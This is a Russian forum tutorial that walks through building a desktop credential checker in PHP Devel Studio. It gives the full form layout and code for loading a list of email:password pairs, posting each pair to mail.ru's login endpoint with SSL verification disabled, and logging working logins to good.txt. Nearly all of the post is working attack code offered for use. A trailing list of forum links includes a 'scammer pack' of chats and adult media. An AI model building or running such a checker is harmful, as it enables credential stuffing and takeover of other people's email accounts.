Написание протого ****а на PHP Devel Studio

Jakee_inactive14627 · 1 июн 2014

Открываем DS 3.0

Переходим в настройки проекта, далее в модули, и добавляем php_curl

1.Создаем форму любой ширины и высоты.

2.Кидаем 7 однострочных полей.

3.Затем создаем 10 Текста.

4.Далее четыре кнопки, три таймера, две функции, один лист бокс, два многострочных полей и один Диалог открытия.

5.Далее на форме создаем 3 события : Появление,Создание, и Закрытие.

На Создание ставим это :

c("timer3")->enable = true;
c("timer2")->enable = true;

c("memo1")->text .= "[ * ]Startind programm! \n";

file_delete("cookie.txt");
Нажмите, чтобы раскрыть...

На закрытие :

c("memo1")->text .= "[ * ] Closed programm! \n";
Нажмите, чтобы раскрыть...

Появление оставляем пустым, просто создаем событие Появление.

6.Теперь скрипты для кнопок :

на button1 переименовываем в "..." (без кавычек) создаем событие --> Клик :

Код:

c("openDlg1")->execute();
c("edit2")->text = c("openDlg1")->fileName;

$file = c("openDlg1")->fileName;

$text = file_get_contents($file);

c("listBox1")->text = $text;
Нажмите, чтобы раскрыть...

button2 в "Start" --> Событие --> Клик :

Код:

file_delete("cookie.txt");
$self->enabled = false;

c("button3")->enabled = true;

c("timer1")->enable = true;

c("edit3")->text = "Status: Started...";

c("label8")->caption = "0";

$times = c("label9")->caption;

$dates = c("label10")->caption;

c("memo1")->text .= "[$times - $dates]Starting test! \n";
Нажмите, чтобы раскрыть...

button3 в "Stop" --> Событие --> Клик :

Код:

$self->enabled = false;
c("button2")->enabled = true;

c("timer1")->enable = false;

c("edit3")->text = "Status: Stoped...";

$times = c("label9")->caption;

$dates = c("label10")->caption;

c("memo1")->text .= "[$times - $dates]Stopped test! \n";

c("edit3")->text = "Status: Stand...";
Нажмите, чтобы раскрыть...

button4 в "Clear ****" --> Событие --> Клик :

Код:

c("memo1")->text = "";
$self->enabled = false;
Нажмите, чтобы раскрыть...

7.На memo1 создаем событие --> Изменение :

Код:

if( $self->text == ""){
c("button4")->enabled = false;

}

else{

c("button4")->enabled = true;

}
Нажмите, чтобы раскрыть...

В свойствах ищем скрол бар ssVertical

Только чтение - да

Перенос строк - да

8.Переходим к текстам

label1 - Separator

label2 - Good:

label3 - 0 (Ставим Напротив Good )

label4 - Bad:

label5 - 0 (Ставим Напротив Bad)

label6 - Sourse:

label7 - 0 (Ставим Напротив Sourse)

label8 - 0 (располагаем его в х-32 y 0)

label9 -00 (это у нас время для лога работы)

label10 - 00.00 ( это у нас дата для лога)

9.Теперь строки (одна строка)

edit2 - ставим напротив кнопки "..." без кавычек

edit7 - ставим ему название "ex" без кавычек

edit6 - текст у него "@" без кавычек

edit3 - текст - Status: Stand...

Затем ищем в дополнениях - выравнивание - alBottom

Ну а edit1, edit4, edit5, без изменений.

10.Теперь таймеры.

timer1 - задержка - 1000, повторять = да

timer2 - задержка 10, повторять = да

timer3- задержка - 1, повторять = да

Коды:

На таймер1 :

$times = c("label9")->caption;
$dates = c("label10")->caption;

c("memo1")->text .= "[$times - $dates]Checking account... \n";

$ex = c("ex")->text;

$id = c("label8")->caption;

$list = c("listBox1")->items->lines;

$count = c("listBox1")->items->count-1;

list($acc, $pass) = explode($ex, $list[$id]);

c("edit4")->text = $acc;

c("edit5")->text = $pass;

$exo = c("edit6")->text;

$exo2 = c("edit4")->text;

list($email, $pass1) = explode($exo, $exo2);

c("edit4")->text = $email;

c("edit1")->text = $pass1;

//условия если он прочекал все,то...

myFunc1();

myFunc2();

if($id == $count)

{

c("button2")->enabled = true;

c("button3")->enabled = false;

$self->enable = false;

c("edit3")->text = "Status: Stand...";

$times = c("label9")->caption;

$dates = c("label10")->caption;

c("memo1")->text .= "[$times - $dates]Check completed! \n";

echo "все";

}
Нажмите, чтобы раскрыть...

На таймер2

$file2 = c("listBox1")->items->count;
c("label7")->caption = $file2;
Нажмите, чтобы раскрыть...

На таймер3

c("label9")->setTime();
c("label10")->setDate();
Нажмите, чтобы раскрыть...

11. Функция:

myFunc1 - Событие - Выполнение - Код:

$url = 'https://auth.mail.ru/'; // URL сайта на котором будем авторизоваться
$urlTo = 'https://auth.mail.ru/cgi-bin/auth'; // URL на которой будем слать POST данные

$email = c("edit1")->text;

$login = c("edit4")->text; // Ваш логин

$passw = c("edit5")->text; // Ваш пароль

$post = "page=&post=&login_from=〈=&setLang=&Login=$login&Domain=$email&Password=$passw&saveauth=1&new_auth_form=1"; // POST данные

$ch = curl_init(); // ??нициализируем сеанс CURL

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

curl_setopt($ch, CURLOPT_URL, $url); // Заходим на сайт

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Делаем так, чтобы страница не выдавалась сразу в поток, а можно было ее записать в переменную

$html = curl_exec($ch); // ??митируем заход на сайт

curl_setopt($ch, CURLOPT_URL, $urlTo); // Устанавливаем адрес куда будем слать POST данные

curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); // Записываем cookies в файл, чтобы потом можно было их считать

curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); // Теперь читаем cookies с файла

curl_setopt($ch, CURLOPT_POST, true); // Говорим, что информация будет отправляться методом POST

curl_setopt($ch, CURLOPT_POSTFIELDS, $post); // Передаем POST данные

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // ??ногда бывает, что после отправки данных происходит редирект heaer('Location:...').

// Этот параметр говорит о то, чтобы мы следовали за ними, а не оставались на месте после отправки данных

$html = curl_exec($ch); // Записываем пришедшие данные в переменную

curl_close($ch); // Закрываем сеанс работы CURL

// вуаля Выводим авторизованную страницу

c("memo2")->text = $html;
Нажмите, чтобы раскрыть...

На myFunc2 - Событие - Выполнение - Код:

$text = 'back=1';
$memo = c("memo2")->text;

$email = c("edit1")->text;

$pass1 = c("edit4")->text;

$pass = c("edit5")->text;

if(preg_match("/$text/", $memo)){

c("label3")->caption +=1;

c("edit3")->text = "Status: +1 good...";

$times = c("label9")->caption;

$dates = c("label10")->caption;

c("memo1")->text .= "[$times - $dates]+1 good \n";

$fh = fopen('good.txt', "a+");

fwrite($fh, "$pass1@$email;$pass"._BR_);

fclose($fh);

}

else{

c("label5")->caption +=1;

c("edit3")->text = "Status: +1 bad...";

$times = c("label9")->caption;

c("label8")->caption +=1;

$dates = c("label10")->caption;

c("memo1")->text .= "[$times - $dates]+1 Bad \n";

$fh = fopen('bad.txt', "a+");

fwrite($fh, "$pass1@$email;$pass"._BR_);

fclose($fh);

c("label8")->caption +=1;

}
Нажмите, чтобы раскрыть...

Нажимаем F9, если ошибок нет, то нажимаем на "..." и выбираем базу мыльников и проверяем работоспособность программы.

Что дожно получиться!

Бесплатно получаем Google Drive 2TB и Gemini PRO

Получаем бесплатный дедик (2CPU/2RAM на 3 дня)

Забираем халявные звёзды в тг

Раздача *** для РФ (каждые 3 дня)

Получаем халявную подписку Gemini AI на год (измененный, рабочий способ)

Инвайты яндекс плюс

Самокат 300/301 за поиск Яндекса

[АвтоРаздача 24/7] TRX (Tron) + Бесплатные транзакции USDT (Энергия)

Сборник Игровой Халявы (обновляемая тема)

[АвтоРаздача TRON,ENERGY 24/7] Получите 3 TRX за несколько секунд

WB | Товары "Кэшбек за отзыв"

Раздача купонов 50% на различные приправы

Получаем читы на несколько часов бесплатно

Актуальная халява с сайтов по CS2, RUST, DOTA 2 | 2025

Игры Steam на Халяву! (Steam)

Бесплатно кушаем в самокате 300/301

Халявное torrent хранилище

400 Рублей на заказ в Rostics

150 Баллов за верификацию Яндекс Пей

1000 женских голосовых для форумчан

МСК баг 99% Скидки пятерочка

Бесплатный пожизненный дедик

Мелочи по 99 копеек

Игрушка цыплята по 2 рубля

3 Мороженного от Т-Банка — кешбэк 100%

Пак скамера | 5+гб | 2к чатов тг| 1.261 голосовое сообщение | 4135 фото 18+ | 374 видео 18+ |

ГИПЕР ЛЕНТА | Скидка от -25% до -50%

Мороженое и заморозка за копейки

Получаем дедик IONOS на месяц

Мебель и теxника за копейки

Написание протого ****а на PHP Devel Studio